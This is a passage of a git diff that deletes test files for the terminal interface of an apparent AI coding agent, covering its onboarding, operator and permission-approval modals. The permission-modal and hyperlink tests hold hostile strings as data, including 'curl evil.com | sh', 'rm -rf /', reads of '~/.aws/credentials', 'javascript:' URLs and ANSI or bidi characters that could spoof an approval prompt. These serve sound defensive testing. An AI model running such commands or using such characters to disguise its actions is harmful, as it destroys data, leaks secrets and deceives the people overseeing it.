expect(lastFrame()).not.toContain("Approval needed"); -}); - -test("PermissionModal '2' resolves the active ID with an accept-once outcome", async () => { - let resolution: { id: number; outcome: ApprovalOutcome } | null = null; - const { stdin } = render( - { resolution = { id, outcome }; }} - /> - ); - await tick(); - stdin.write("2"); - await tick(); - expect(resolution).toEqual({ id: PERMISSION_APPROVAL.id, outcome: { allow: true } }); -}); - -test("PermissionModal Escape resolves the active ID with reject outcome", async () => { - let resolution: { id: number; outcome: ApprovalOutcome } | null = null; - const { stdin } = render( - { resolution = { id, outcome }; }} - /> - ); - await tick(); - stdin.write("\x1B"); - await tick(); - expect(resolution).toEqual({ id: PERMISSION_APPROVAL.id, outcome: { allow: false } }); -}); - -test("one keypress reaches only the active approval modal", async () => { - let planApprovals = 0; - let operatorSelections = 0; - const { lastFrame, stdin } = render( - { planApprovals += 1; }} - onSelectOperator={() => { operatorSelections += 1; }} - />, - ); - await tick(); - - expect(lastFrame()).toContain("Plan Review"); - expect(lastFrame()).not.toContain("Which approach?"); - stdin.write("\r"); - await tick(); - - expect(planApprovals).toBe(1); - expect(operatorSelections).toBe(0); -}); - - -test("consecutive operator approvals reset modal selection state", async () => { - let selected: { id: number; index: number } | null = null; - const first = OPERATOR_APPROVAL; - const second = { ...OPERATOR_APPROVAL, id: 4 } satisfies ActiveApproval; - const props = { - ...base(), - activeApproval: first, - onSelectOperator: (id: number, result: Parameters[1]) => { - selected = { id, index: result.kind === "option" ? result.index : -1 }; - }, - }; - const { rerender, stdin } = render(); - await tick(); - stdin.write("\x1B[B"); - await tick(); - - rerender(); - await tick(); - stdin.write("\r"); - await tick(); - - expect(selected).toEqual({ id: second.id, index: 0 }); -}); \ No newline at end of file diff --git a/tests/unit/tui/observe-chrome.test.ts b/tests/unit/tui/observe-chrome.test.ts deleted file mode 100644 index 3f18ebb83..000000000 --- a/tests/unit/tui/observe-chrome.test.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { - enterObserveChrome, - leaveObserveChrome, -} from "../../../src/tui/observe-chrome.js"; - -describe("observe chrome enter/leave teardown", () => { - test("enterObserveChrome focuses the child and shows a Viewing toast", () => { - const next = enterObserveChrome("sess-1", "explorer", "map callers"); - expect(next.enteredSessionId).toBe("sess-1"); - expect(next.commandMessage).toBe("Viewing explorer: map callers"); - }); - - test("leaveObserveChrome clears focus and does not leave Back to parent session", () => { - // Simulate the pre-fix sticky toast path: operator was viewing a child, - // then Esc returns to parent. Chrome must fully tear down. - const entered = enterObserveChrome("sess-1", "explorer", "map callers"); - expect(entered.enteredSessionId).not.toBeNull(); - expect(entered.commandMessage).not.toBeNull(); - - const left = leaveObserveChrome(); - expect(left.enteredSessionId).toBeNull(); - expect(left.commandMessage).toBeNull(); - // Regression: never leave a sticky "Back to parent session" on parent. - expect(left.commandMessage).not.toBe("Back to parent session"); - }); - - test("round-trip enter → leave leaves no observe chrome on parent", () => { - let chrome = { enteredSessionId: null as string | null, commandMessage: null as string | null }; - - chrome = enterObserveChrome("s-a", "worker", "run tests"); - expect(chrome.enteredSessionId).toBe("s-a"); - expect(chrome.commandMessage).toContain("Viewing"); - - chrome = leaveObserveChrome(); - expect(chrome).toEqual({ enteredSessionId: null, commandMessage: null }); - }); -}); diff --git a/tests/unit/tui/onboarded-persistence.test.tsx b/tests/unit/tui/onboarded-persistence.test.ts similarity index 100% rename from tests/unit/tui/onboarded-persistence.test.tsx rename to tests/unit/tui/onboarded-persistence.test.ts diff --git a/tests/unit/tui/onboarding-animation.test.tsx b/tests/unit/tui/onboarding-animation.test.tsx deleted file mode 100644 index c6686901f..000000000 --- a/tests/unit/tui/onboarding-animation.test.tsx +++ /dev/null @@ -1,41 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { OnboardingAnimation } from "../../../src/tui/components/onboarding-animation.js"; - -const tick = (ms = 30): Promise => new Promise((r) => setTimeout(r, ms)); - -test("first run shows the 'Welcome to' greeting", async () => { - const { lastFrame } = render( - {}} rows={20} columns={80} isFirstTime={true} />, - ); - await tick(2000); - expect(lastFrame()).toContain("Welcome to"); -}, 8000); - -test("returning user shows the 'Welcome back' greeting", async () => { - const { lastFrame } = render( - {}} rows={20} columns={80} isFirstTime={false} />, - ); - // "Welcome back to Corbits Code" is longer than the first-run phrase; wait for typewriter. - await tick(3000); - expect(lastFrame()).toContain("Welcome back"); -}, 8000); - -test("any keypress dismisses the animation immediately", async () => { - let completed = 0; - const { stdin } = render( - { completed++; }} rows={20} columns={80} isFirstTime={true} />, - ); - stdin.write(" "); - await tick(); - expect(completed).toBe(1); -}); - -test("the animation completes on its own after playing through", async () => { - let completed = 0; - render( - { completed++; }} rows={20} columns={80} isFirstTime={true} />, - ); - await tick(7000); - expect(completed).toBe(1); -}, 10000); diff --git a/tests/unit/tui/onboarding.test.tsx b/tests/unit/tui/onboarding.test.tsx deleted file mode 100644 index 843491591..000000000 --- a/tests/unit/tui/onboarding.test.tsx +++ /dev/null @@ -1,293 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { ProviderSetupPanel } from "../../../src/tui/onboarding.js"; - -const tick = (): Promise => new Promise((r) => setTimeout(r, 20)); - -type SetPhase = (phase: "testing" | "saving") => void; -type SubmitOpts = { skipValidation: boolean }; - -function renderPanel( - onSubmit: (v: Record, setPhase: SetPhase, opts: SubmitOpts) => Promise = () => - Promise.resolve(), - showTelemetryNotice = false, -) { - return render(); -} - -async function fillAllFields(stdin: { write: (s: string) => void }): Promise { - stdin.write("name"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("https://api.example.com"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("sk-key"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("gpt-4o"); - await tick(); - stdin.write("\r"); - await tick(); -} - -test("shows the telemetry notice when asked to", () => { - const { lastFrame } = renderPanel(undefined, true); - expect(lastFrame()).toContain("Anonymous usage telemetry is enabled"); -}); - -test("omits the telemetry notice otherwise", () => { - const { lastFrame } = renderPanel(); - expect(lastFrame()).not.toContain("Anonymous usage telemetry"); -}); - -test("shows Provider name label on mount", () => { - const { lastFrame } = renderPanel(); - expect(lastFrame()).toContain("Provider name"); -}); - -test("shows welcome and step copy on mount", () => { - const { lastFrame } = renderPanel(); - const frame = lastFrame() ?? ""; - // Fixed-height panel (rows fallback 24) can flex-shrink the bold welcome - // line under ink-testing-library; assert the step banner that always shows. - expect(frame).toContain("Provider setup"); - expect(frame).toContain("Step 1 of 4"); -}); - -test("shows all field labels", () => { - const { lastFrame } = renderPanel(); - expect(lastFrame()).toContain("Provider name"); - expect(lastFrame()).toContain("Base URL"); - expect(lastFrame()).toContain("API key"); - expect(lastFrame()).toContain("Default model"); -}); - -test("typing accumulates in current field", async () => { - const { lastFrame, stdin } = renderPanel(); - stdin.write("myp"); - await tick(); - stdin.write("rovider"); - await tick(); - expect(lastFrame()).toContain("myprovider"); -}); - -test("Enter with empty field does not advance — cursor stays on field 0", async () => { - const { lastFrame, stdin } = renderPanel(); - stdin.write("\r"); - await tick(); - // Type a character — it should land on field 0 (Provider name), not field 1. - // If advance had fired, the text would appear under Base URL. - stdin.write("x"); - await tick(); - // The typed character appears on the current (first) field's input line. - // Field label is still highlighted as the active one. - expect(lastFrame()).toContain("Provider name"); - expect(lastFrame()).toContain("x"); -}); - -test("Enter with text advances to next field", async () => { - const { lastFrame, stdin } = renderPanel(); - stdin.write("anthropic"); - await tick(); - stdin.write("\r"); - await tick(); - expect(lastFrame()).toContain("Base URL"); -}); - -test("Escape from field 2 goes back to field 1", async () => { - const { lastFrame, stdin } = renderPanel(); - stdin.write("anthropic"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("\x1B"); - await tick(); - expect(lastFrame()).toContain("Provider name"); -}); - -test("Escape from field 1 does nothing", async () => { - const { lastFrame, stdin } = renderPanel(); - stdin.write("\x1B"); - await tick(); - expect(lastFrame()).toContain("Provider name"); -}); - -test("API key field masks characters with bullets", async () => { - const { lastFrame, stdin } = renderPanel(); - // advance to name, baseURL, then apiKey - stdin.write("myname"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("https://api.example.com"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("sk-secret"); - await tick(); - expect(lastFrame()).not.toContain("sk-secret"); - expect(lastFrame()).toContain("●"); -}); - -test("onSubmit rejection shows error text", async () => { - const onSubmit = async (): Promise => { - throw new Error("bad credentials"); - }; - const { lastFrame, stdin } = renderPanel(onSubmit); - // fill all fields - stdin.write("name"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("https://api.example.com"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("sk-key"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("gpt-4o"); - await tick(); - stdin.write("\r"); - await tick(); - await tick(); - expect(lastFrame()).toContain("bad credentials"); -}); - -test("input ignored while submitting", async () => { - let resolveSubmit: () => void; - const onSubmit = (): Promise => new Promise((r) => { resolveSubmit = r; }); - const { lastFrame, stdin } = renderPanel(onSubmit); - // fill all fields - stdin.write("name"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("https://api.example.com"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("sk-key"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("gpt-4o"); - await tick(); - stdin.write("\r"); - await tick(); - // now submitting — frame should show the testing-connection phase, since - // onSubmit hasn't advanced to the "saving" phase yet - expect(lastFrame()).toContain("Testing connection"); - // further input should be ignored - stdin.write("extra"); - await tick(); - expect(lastFrame()).toContain("Testing connection"); - resolveSubmit!(); - await tick(); -}); - -test("submit shows testing-connection phase, then saving phase once onSubmit advances", async () => { - let advancePhase: SetPhase = () => {}; - let resolveSubmit: () => void; - const onSubmit = (_v: Record, setPhase: SetPhase): Promise => { - advancePhase = setPhase; - return new Promise((r) => { resolveSubmit = r; }); - }; - const { lastFrame, stdin } = renderPanel(onSubmit); - stdin.write("name"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("https://api.example.com"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("sk-key"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("gpt-4o"); - await tick(); - stdin.write("\r"); - await tick(); - - expect(lastFrame()).toContain("Testing connection"); - - advancePhase("saving"); - await tick(); - expect(lastFrame()).toContain("Writing settings"); - - resolveSubmit!(); - await tick(); -}); - -test("onSubmit rejection during connection test shows the error and never advances to saving", async () => { - const onSubmit = async (_v: Record, setPhase: SetPhase): Promise => { - setPhase("testing"); - throw new Error("could not reach https://api.example.com/models"); - }; - const { lastFrame, stdin } = renderPanel(onSubmit); - stdin.write("name"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("https://api.example.com"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("sk-key"); - await tick(); - stdin.write("\r"); - await tick(); - stdin.write("gpt-4o"); - await tick(); - stdin.write("\r"); - await tick(); - await tick(); - expect(lastFrame()).toContain("could not reach https://api.example.com/models"); - expect(lastFrame()).not.toContain("Writing settings"); -}); - -test("connection-test failure offers a save-anyway path", async () => { - const onSubmit = async (): Promise => { - throw new Error("connection refused"); - }; - const { lastFrame, stdin } = renderPanel(onSubmit); - await fillAllFields(stdin); - await tick(); - expect(lastFrame()).toContain("connection refused"); - expect(lastFrame()).toContain("save anyway"); -}); - -test("Ctrl+S after a failed connection test resubmits with skipValidation", async () => { - const submissions: SubmitOpts[] = []; - const onSubmit = async (_v: Record, _setPhase: SetPhase, opts: SubmitOpts): Promise => { - submissions.push(opts); - if (!opts.skipValidation) { - throw new Error("connection refused"); - } - }; - const { stdin } = renderPanel(onSubmit); - await fillAllFields(stdin); - await tick(); - stdin.write("\x13"); - await tick(); - expect(submissions).toEqual([{ skipValidation: false }, { skipValidation: true }]); -}); - -test("failure during the saving phase does not offer save anyway", async () => { - const onSubmit = async (_v: Record, setPhase: SetPhase): Promise => { - setPhase("saving"); - throw new Error("disk full"); - }; - const { lastFrame, stdin } = renderPanel(onSubmit); - await fillAllFields(stdin); - await tick(); - expect(lastFrame()).toContain("disk full"); - expect(lastFrame()).not.toContain("save anyway"); -}); diff --git a/tests/unit/tui/operator-modal.test.tsx b/tests/unit/tui/operator-modal.test.tsx deleted file mode 100644 index 1f7e3124b..000000000 --- a/tests/unit/tui/operator-modal.test.tsx +++ /dev/null @@ -1,182 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { OperatorModal } from "../../../src/tui/components/operator-modal.js"; -import type { OperatorResult } from "../../../src/agent/tools.js"; - -const tick = (): Promise => new Promise((r) => setTimeout(r, 20)); - -const OPTIONS = ["Option A", "Option B", "Option C"]; - -function renderModal( - options = OPTIONS, - onSelect: (result: OperatorResult) => void = () => {}, -) { - return render( - , - ); -} - -test("renders question text", () => { - const { lastFrame } = renderModal(); - expect(lastFrame()).toContain("Which option?"); -}); - -test("renders all provided options", () => { - const { lastFrame } = renderModal(); - expect(lastFrame()).toContain("Option A"); - expect(lastFrame()).toContain("Option B"); - expect(lastFrame()).toContain("Option C"); -}); - -test("first option is selected by default", () => { - const { lastFrame } = renderModal(); - // The active option is prefixed with the › indicator - expect(lastFrame()).toContain("Option A"); -}); - -test("down arrow moves selection to second option", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("\x1B[B"); - await tick(); - stdin.write("\r"); - await tick(); - expect(result).toEqual({ kind: "option", index: 1 }); -}); - -test("operator modal handles arrow fragments when Ink strips ESC", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("[B"); - await tick(); - stdin.write("\r"); - await tick(); - expect(result).toEqual({ kind: "option", index: 1 }); -}); - -test("up arrow wraps from first to the last option", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("\x1B[A"); - await tick(); - stdin.write("\r"); - await tick(); - expect(result).toEqual({ kind: "option", index: 2 }); -}); - -test("Ctrl+Up leaves approval selection unchanged for transcript scrolling", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (next) => { result = next; }); - stdin.write("\x1B[1;5A"); - await tick(); - stdin.write("\r"); - await tick(); - expect(result).toEqual({ kind: "option", index: 0 }); -}); - -test("Enter calls onSelect with the currently selected option", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("\r"); - await tick(); - expect(result).toEqual({ kind: "option", index: 0 }); -}); - -test("Escape dismisses with a cancel result", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("\x1B"); - await tick(); - expect(result).toEqual({ kind: "cancel" }); -}); - -test("typing a printable char activates custom response mode", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("c"); - await tick(); - stdin.write("ustom answer"); - await tick(); - stdin.write("\r"); - await tick(); - expect(result).toEqual({ kind: "custom", text: "custom answer" }); -}); - -test("number key directly selects the corresponding option", async () => { - let result: OperatorResult | null = null; - const { stdin } = renderModal(OPTIONS, (r) => { result = r; }); - stdin.write("2"); - await tick(); - expect(result).toEqual({ kind: "option", index: 1 }); -}); - -test("accepts a width prop without error", () => { - const { lastFrame } = render( - {}} width={60} />, - ); - expect(lastFrame()).toContain("A question?"); - expect(lastFrame()).toContain("Option A"); -}); - -test("renders markdown formatting in the question", () => { - const { lastFrame } = render( - {}} />, - ); - // Markdown is rendered: markers stripped, text visible - expect(lastFrame()).toContain("Bold"); - expect(lastFrame()).toContain("code"); - // Raw markers should not appear - expect(lastFrame()).not.toContain("**Bold**"); -}); - -test("a long option list windows around the selection and pages via arrow keys", async () => { - const manyOptions = Array.from({ length: 30 }, (_, i) => `Option ${i + 1}`); - const { lastFrame, stdin } = render( - {}} terminalRows={16} />, - ); - await tick(); - const initial = lastFrame() ?? ""; - expect(initial).toContain("1. Option 1"); - expect(initial).not.toContain("Option 30"); - expect(initial).toMatch(/↓ \d+ more below/); - - // Move the selection down past the visible window; the window should - // follow the focused option so it stays reachable and visible. - for (let i = 0; i < 20; i++) { - stdin.write("\x1B[B"); - await tick(); - } - const afterMoves = lastFrame() ?? ""; - expect(afterMoves).toContain("21. Option 21"); - expect(afterMoves).toMatch(/↑ \d+ more above/); -}); - -test("a long question scrolls with PageUp/PageDown while options stay visible", async () => { - const longQuestion = Array.from({ length: 30 }, (_, i) => `Line ${i} of the question body.`).join("\n\n"); - const { lastFrame, stdin } = render( - {}} terminalRows={16} />, - ); - await tick(); - const initial = lastFrame() ?? ""; - expect(initial).toContain("Line 0 of the question body."); - expect(initial).not.toContain("Line 29 of the question body."); - expect(initial).toContain("Option A"); - expect(initial).toContain("Option C"); - expect(initial).toMatch(/↓ \d+ more below/); - - stdin.write("\x1B[6~"); // PageDown - await tick(); - const afterPageDown = lastFrame() ?? ""; - expect(afterPageDown).not.toContain("Line 0 of the question body."); - expect(afterPageDown).toContain("Option A"); -}); - -test("a short question and short option list have no scroll indicator", () => { - const { lastFrame } = render( - {}} terminalRows={24} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("PageUp/PageDown to scroll"); - expect(frame).not.toMatch(/more below/); - expect(frame).not.toMatch(/more above/); -}); diff --git a/tests/unit/tui/osc8.test.ts b/tests/unit/tui/osc8.test.ts deleted file mode 100644 index ac2c3ef1c..000000000 --- a/tests/unit/tui/osc8.test.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { test, expect } from "bun:test"; -import { isSafeOsc8Url, osc8Hyperlink } from "../../../src/tui/osc8.js"; - -test("wraps label with OSC 8 hyperlink sequences", () => { - const out = osc8Hyperlink("https://example.com", "docs"); - expect(out).toContain("https://example.com"); - expect(out).toContain("docs"); - expect(out).toContain("\x1b]8;;"); - expect(out.startsWith("\x1b]8;;https://example.com\x07")).toBe(true); - expect(out.endsWith("\x1b]8;;\x07")).toBe(true); -}); - -test("rejects control characters in the URL and returns bare label", () => { - expect(osc8Hyperlink("https://evil.com/\x1b[31m", "x")).toBe("x"); - expect(isSafeOsc8Url("https://ok.com")).toBe(true); - expect(isSafeOsc8Url("javascript:alert(1)")).toBe(false); - expect(isSafeOsc8Url("")).toBe(false); -}); - -test("rejects schemes outside the allowlist", () => { - expect(isSafeOsc8Url("https://ok.com/path")).toBe(true); - expect(isSafeOsc8Url("http://ok.com")).toBe(true); - expect(isSafeOsc8Url("mailto:a@b.c")).toBe(true); - expect(isSafeOsc8Url("file:///tmp/x")).toBe(true); - expect(isSafeOsc8Url("./rel")).toBe(true); - expect(isSafeOsc8Url("/abs")).toBe(true); - expect(isSafeOsc8Url("#frag")).toBe(true); - expect(isSafeOsc8Url("ftp://evil")).toBe(false); - expect(isSafeOsc8Url("data://text/html,hi")).toBe(false); - expect(isSafeOsc8Url("javascript://comment")).toBe(false); - expect(isSafeOsc8Url("vbscript://x")).toBe(false); - expect(isSafeOsc8Url("git://host/repo")).toBe(false); -}); - -test("strips controls from the visible label", () => { - const out = osc8Hyperlink("https://example.com", "hi\x1b[0m"); - expect(out).not.toContain("\x1b[0m"); - expect(out).toContain("hi"); -}); diff --git a/tests/unit/tui/permission-modal.test.tsx b/tests/unit/tui/permission-modal.test.tsx deleted file mode 100644 index 5eb83e28f..000000000 --- a/tests/unit/tui/permission-modal.test.tsx +++ /dev/null @@ -1,554 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { PermissionModal } from "../../../src/tui/components/permission-modal.js"; -import { deriveCommandScopes } from "../../../src/permission/command.js"; -import type { ApprovalOutcome, PermissionRequest } from "../../../src/permission/types.js"; - -const request: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "npm test", - scopes: [ - { id: "prefix-1", label: "Always allow npm *", pattern: "npm *" }, - { id: "exact", label: "Always allow this exact command", pattern: "npm test" }, - ], -}; - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -const shellRequest = (subject: string): PermissionRequest => ({ - tool: "run_shell", - action: "Run shell command", - subject, - scopes: [{ id: "exact", label: "Always allow this exact command", pattern: subject }], -}); - -test("ANSI escape sequences in the command never reach the terminal", () => { - const { lastFrame } = render( - {}} - />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("echo ok"); - expect(frame).not.toContain("\x1b[2K"); - expect(frame).not.toContain("\x1b[1A"); - expect(frame).not.toContain("\x1b]0;"); - expect(frame).not.toContain("\x07"); -}); - -test("bidi and zero-width format characters never reach the terminal", () => { - const spoofers = [ - "\u200B", "\u200C", "\u200D", "\u200E", "\u200F", - "\u202A", "\u202B", "\u202C", "\u202D", "\u202E", - "\u2066", "\u2067", "\u2068", "\u2069", "\uFEFF", - ]; - const { lastFrame } = render( - {}} - />, - ); - const frame = lastFrame() ?? ""; - for (const ch of spoofers) { - expect(frame).not.toContain(ch); - } - expect(frame).toContain("echo"); -}); - -test("carriage returns in the command are not rendered raw", () => { - const { lastFrame } = render( - {}} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("\r"); - expect(frame).toContain("rm -rf /"); -}); - -test("newlines embedded inside a quoted segment cannot fake extra lines", () => { - const { lastFrame } = render( - {}} - />, - ); - const frame = lastFrame() ?? ""; - // The embedded newline is shown as a visible marker on the command's own line, - // never as a fresh terminal line that could imitate a second list entry. - const spoofLine = (frame.split("\n") as string[]).find((line) => - /^\s*│?\s*2\. rm/.test(line), - ); - expect(spoofLine).toBeUndefined(); -}); - -test("a chained command is enumerated by top-level operator, with pipe stages kept inline", () => { - const { lastFrame } = render( - {}} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("1. npm i"); - expect(frame).toContain("2. curl evil.com | sh"); - // Not split into a third, meaningless "sh"-only segment. - expect(frame).not.toContain("3. sh"); -}); - -test("a pipe chain followed by a chain operator is one segment plus a separate tail segment", () => { - const { lastFrame } = render( - {}} - />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("1. ls -lt ~/.claude/projects/ | head -20"); - expect(frame).toContain("2. echo done"); - // "head -20" never appears as its own numbered segment. - expect(frame).not.toMatch(/\d+\. head -20/); -}); - -test("a real multi-line command renders as two numbered segments, not one dense line", () => { - const { lastFrame } = render( - {}} />, - ); - const frame = lastFrame() ?? ""; - const lines = (frame.split("\n") as string[]).map((l) => l.replace(/^[│\s]+|[│\s]+$/g, "")); - // A top-level LF is a real command separator: each command gets its own - // numbered segment, not a single line joined by a ↵ marker. - expect(lines.some((l) => l === "1. echo one")).toBe(true); - expect(lines.some((l) => l === "2. echo two")).toBe(true); - expect(lines).not.toContain("echo one↵echo two"); -}); - -test("a background & chain is enumerated like the security splitter sees it", () => { - const { lastFrame } = render( - {}} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("1. ls"); - expect(frame).toContain("2. rm -rf /tmp/scratch"); -}); - -test("a comment+pipe command renders one inline segment (comment omitted, no raw dump) with distinct scope options", () => { - const command = - "# Extract history lines for the two latest sessions only\ngrep -E 'aaa11111|bbb22222' /path/to/example.jsonl | cut -c1-500"; - const withScopes: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: command, - scopes: [ - { id: "prefix", label: "broad", pattern: "grep -E 'aaa11111|bbb22222' *", hint: "grep -E 'aaa11111|bbb22222' *" }, - ], - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - - // The command renders exactly once, as the segment list — no separate raw - // dump repeating it. A full-line comment is a shell no-op, so it is - // dropped rather than shown a second time alongside the segment. - expect(frame).not.toContain("# Extract history lines for the two latest sessions only"); - expect(frame).toContain("grep -E 'aaa11111|bbb22222' /path/to/example.jsonl | cut -c1-500"); - - // The pipe chain is a single command: no enumerated segment list at all - // (grouping yields one display segment, and single segments are not numbered), - // and no pipe stage stranded as its own item. - expect(frame).not.toMatch(/\d+\. cut -c1-500/); - expect(frame).not.toMatch(/\d+\. grep -E/); - - // (c) The three persistent Allow options stay pairwise distinct: beyond the - // option number, each one's distinguishing grant note survives to the screen - // instead of being clipped off by tail truncation. - expect(frame).toContain("this session"); - expect(frame).toContain("persisted per repo"); - expect(frame).toContain("all projects"); -}); - -test("persistent Allow options remain distinguishable after truncation", async () => { - const longPattern: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "git commit -m 'a very long message that pushes the pattern well past the wrap width'", - scopes: [ - { - id: "prefix", - pattern: "git commit -m 'a very long message that pushes the pattern well past the wrap width' *", - label: "broad", - hint: "git commit -m 'a very long message that pushes the pattern well past the wrap width' *", - }, - ], - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - const lines = (frame.split("\n") as string[]).map((l) => l.trim()).filter((l) => l.includes("git commit")); - // Session / project / global options must not render as identical strings. - const uniqueLines = new Set(lines); - expect(lines.length).toBeGreaterThan(1); - expect(uniqueLines.size).toBe(lines.length); - expect(frame).toContain("this session"); - expect(frame).toContain("all projects"); -}); - -test("persistent Allow labels for a commented command stay distinct from its comment text", () => { - // deriveCommandScopes strips the comment before deriving scopes, so the - // persistent Allow options render the bare command — never sharing text - // with the (arbitrary, model-authored) comment prefix that wrapped it. - const commented = "# helper note explaining why this runs\nnpm test"; - const request: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: commented, - scopes: deriveCommandScopes(commented), - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - const allowLines = (frame.split("\n") as string[]).filter((l) => l.includes("Allow `npm test`")); - // Three persistent options (session/project/global) all render the bare - // command — the comment (dropped from the segment list entirely) never - // leaks into the Allow option labels or hints themselves. - expect(allowLines.length).toBe(3); - for (const line of allowLines) { - expect(line).not.toContain("helper note explaining why this runs"); - } -}); - -test("a leading '#' line in the command renders as literal text, not a markdown heading", () => { - const { lastFrame } = render( - {}} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("# comment"); - expect(frame).toContain("echo hi"); -}); - -test("a very long command still renders the modal chrome", () => { - const long = `echo ${"a".repeat(600)}`; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Approval needed"); - expect(frame).toContain("echo aaaa"); - expect(frame).toContain("Reject"); -}); - -test("a huge chain caps the segment list and keeps the decision buttons visible", () => { - const chain = Array.from({ length: 2000 }, (_, i) => `echo ${i}`).join(" && "); - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - const segmentLines = (frame.split("\n") as string[]).filter((line) => /\d+\. echo /.test(line)); - expect(segmentLines.length).toBeLessThanOrEqual(20); - // The terminal-height-aware body scroll windows this down to a handful of - // visible segments with a scroll indicator, well before the old absolute - // 12-segment display cap would even apply. - expect(frame).toMatch(/↓ \d+ more below/); - expect(frame).toContain("PageUp/PageDown to scroll"); - expect(frame).toContain("Reject"); - expect(frame).toContain("Accept once"); -}); - -test("an enormous single command is truncated for display", () => { - const start = Date.now(); - const { lastFrame } = render( - {}} />, - ); - const frame = lastFrame() ?? ""; - // Terminal wrapping may break the marker across lines; compare without layout. - expect(frame.replace(/[\s│]/g, "")).toContain("…truncated"); - expect(frame).toContain("Reject"); - expect(Date.now() - start).toBeLessThan(5_000); -}); - -test("a many-line command caps the segment list and keeps the choice chrome in frame", () => { - // Each bare line is its own chain-boundary segment (a top-level newline is - // a command separator), so this is a 101-segment chain — capped the same - // way any other huge chain is, with no separate raw dump underneath. - const flood = `rm -rf / #hidden\n${Array.from({ length: 100 }, () => "x").join("\n")}`; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - const lines = frame.split("\n") as string[]; - expect(lines.length).toBeLessThan(50); - expect(frame).toContain("rm -rf / #hidden"); - expect(frame).toMatch(/↓ \d+ more below/); - expect(frame).toContain("Reject"); - expect(frame).toContain("Accept once"); -}); - -test("the command is shown even when no persistable scopes exist", () => { - const secretPath: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "cat ~/.aws/credentials && echo done", - scopes: [], - }; - const { lastFrame } = render( {}} />); - const frame = (lastFrame() ?? "").replace(/[\s│]/g, ""); - expect(frame).toContain("1.cat~/.aws/credentials"); - expect(frame).toContain("2.echodone"); -}); - -test("the mega-chain notice renders as a muted line when scopes are withheld", () => { - const megaChain: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "a && b && c && d && e", - scopes: [], - notice: "Chains of 5+ steps are approved once only — split into shorter commands for reusable approvals.", - }; - const { lastFrame } = render( {}} />); - const frame = (lastFrame() ?? "").replace(/[│]/g, "").replace(/\s+/g, " "); - expect(frame).toContain("Chains of 5+ steps are approved once only — split into shorter commands for reusable approvals."); -}); - -test("no notice line renders when the request carries none (e.g. secret-path scopes:[])", () => { - const secretPath: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "cat ~/.aws/credentials", - scopes: [], - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("approved once only"); -}); - -test("PermissionModal shows reject, accept-once, and broad-scope options", () => { - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Approval needed"); - expect(frame).toContain("npm test"); - expect(frame).toContain("Reject"); - expect(frame).toContain("Accept once"); - // Broad prefix scope options (3, 4, 5) - expect(frame).toContain("npm *"); - expect(frame).toContain("Allow `npm *`"); - // No exact-command auto-accept labels when prefix scope is present - expect(frame).not.toContain("Auto-accept this session"); - expect(frame).not.toContain("Auto-accept for this provider/model"); -}); - -test("multiplexer commands show the broad wildcard as explicit options", async () => { - const multiplexer: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "bun run typecheck", - scopes: [ - { id: "prefix", label: "Always allow bun run *", pattern: "bun run *" }, 